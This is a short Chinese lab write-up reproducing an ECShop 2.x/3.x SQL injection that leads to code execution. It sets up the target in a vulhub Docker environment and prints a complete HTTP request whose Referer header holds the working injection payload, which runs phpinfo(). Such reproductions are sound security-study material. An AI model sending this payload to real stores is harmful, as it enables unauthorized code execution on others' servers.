漏洞原理
ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。
其2017年及以前的版本中,存在一处SQL注入漏洞 ,通过该漏洞可注入恶意数据,最终导致任意代码执行漏洞。
影响版本
ECShop 2.x
ECShop 3.x
漏洞复现
(root💀guiltyfet)-[/home/guiltyfet/vulhub/ecshop/xianzhi-2017-02-82239600]
└─# docker-compose up -d
Creating network "xianzhi-2017-02-82239600_default" with the default driver
8081页面2.7.3的安装页面
点击下一步
localhost修改为mysql
对抓包并修改为以下数据
GET /user.php?act=login HTTP/1.1
Host: 127.0.0.1:8081
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=9odrkfn7munb3vfksdhldob2d0; ECS_ID=1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}45ea207d7a2b68c49582d2d22adf953a
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0